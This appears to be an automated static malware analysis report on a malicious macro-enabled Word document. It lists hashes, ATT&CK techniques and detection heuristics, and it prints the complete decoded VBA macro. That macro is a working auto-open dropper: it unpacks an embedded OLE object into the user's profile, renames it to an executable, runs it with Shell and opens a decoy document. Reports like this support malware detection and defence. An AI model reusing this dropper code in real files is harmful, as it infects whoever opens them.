Malicious Office (OOXML) / .DOCM — malware analysis report

Static analysis result for SHA-256 e38c39e302de158d…

MALICIOUS

Office (OOXML) / .DOCM

4.56 MB First seen: 2023-10-09
MD5: 22ce9042f6f78202c6c346cef1b6e532 SHA-1: b67712125dce3f8b5d197fcc46aaf627da2fb7eb SHA-256: e38c39e302de158d22e8d0ba9cd6cc9368817bc611418a5777d00b90a9341404
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1036.005 Match Legitimate Name or Location T1105 Ingress Tool Transfer

The sample is a DOCM file containing obfuscated VBA macros that execute upon opening. The macro attempts to create a directory within the user's profile, copy the document itself into a subdirectory, and potentially archive it. It uses CreateObject and Shell calls, indicating an attempt to execute further malicious actions or download additional payloads.

Heuristics 10

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", ""), vbNormalNoFocus
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set oAzedpp = CreateObject("Shell.Application")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oAzedpp = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        folder_weoqzisdi___name = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (6 URLs) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.useplus.org/ldf/xmp/1.0/ In document text (OOXML body / shared strings)
    • http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/In document text (OOXML body / shared strings)
    • http://xmp.gettyimages.com/gift/1.0/In document text (OOXML body / shared strings)
    • http://iptc.org/std/Iptc4xmpExt/2008-02-29/In document text (OOXML body / shared strings)
    • https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&ampIn document text (OOXML body / shared strings)
    • https://www.istockphoto.com/photo/license-gm1183770076-?utm_medium=organic&ampIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3307 bytes
SHA-256: aeb3e66a27e89e45ca1cd935cb2e5f69ed9b99354bb888f00076018fa15c2d53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub weoqzisdi___lorfar()
     
    Dim path_weoqzisdi___file As String
    
    Dim file_weoqzisdi___name  As String
     
    Dim folder_weoqzisdi___name  As Variant
    Dim oAzedpp As Object
     
    Set oAzedpp = CreateObject("Shell.Application")
    
    file_weoqzisdi___name = "vteijam hdgtra"
    
    folder_weoqzisdi___name = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
    
    If Dir(folder_weoqzisdi___name, vbDirectory) = "" Then
        MkDir (folder_weoqzisdi___name)
    End If
     
    path_weoqzisdi___file = folder_weoqzisdi___name & file_weoqzisdi___name
          
    
    Dim FSEDEO As Object
    Set FSEDEO = CreateObject("Scripting.FileSystemObject")
     
    FSEDEO.CopyFile Application.ActiveDocument.FullName, folder_weoqzisdi___name & Replace("do_mc_xs", "_", ""), True
    Set FSEDEO = Nothing
  
    Name folder_weoqzisdi___name & Replace("do_mc_xs", "_", "") As folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")
    
    oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")).items
     


    Dim poueeds As Integer
    Dim filewedum As String
    
    poueeds = InStr(Application.System.Version, ".1")

    filewedum = 2

    If poueeds Then
        filewedum = 1
    End If


    Name folder_weoqzisdi___name & "word\embeddings\oleObject1.bin" As folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")


    oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")).items
    
    
    Name folder_weoqzisdi___name & "oleObject" & filewedum & ".bin" As folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", "")


    Shell folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", ""), vbNormalNoFocus
  
    Dim dokc_paeth As String

    dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
    
    If Dir(dokc_paeth) = "" Then
        Name folder_weoqzisdi___name & "word\embeddings\oleObject3.bin" As dokc_paeth
    End If
  
 

    Documents.Open FileName:=dokc_paeth, ConfirmConversions:=False, _
        ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
        
     
  
    
End Sub
  
  









Private Sub Document_ContentControlBeforeContentUpdate(ByVal ContentControl As ContentControl, Content As String)

End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Call weoqzisdi___lorfar
End Sub

Attribute VB_Name = "NewMacros"
Sub ee()
'
' ee Macro
'
'

End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word\embeddings\oleObject1.bin 4772779 bytes
SHA-256: ce556d55e07bf6b57e3e086e57e9c52552ac7f00adf4a7c9f99bbc21a5ac26c2
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: word\embeddings\oleObject3.bin 120679 bytes
SHA-256: 858fa6814f8393cfaaee59ccf303cf26b18b3d7e8a2471785c733784083b602d
vbaProject_00.bin vba-project OOXML VBA project: word\vbaProject.bin 16384 bytes
SHA-256: 68ddd87b266da5bed0febeb30797df4488034896f89fa052c165c445d0fd6dbf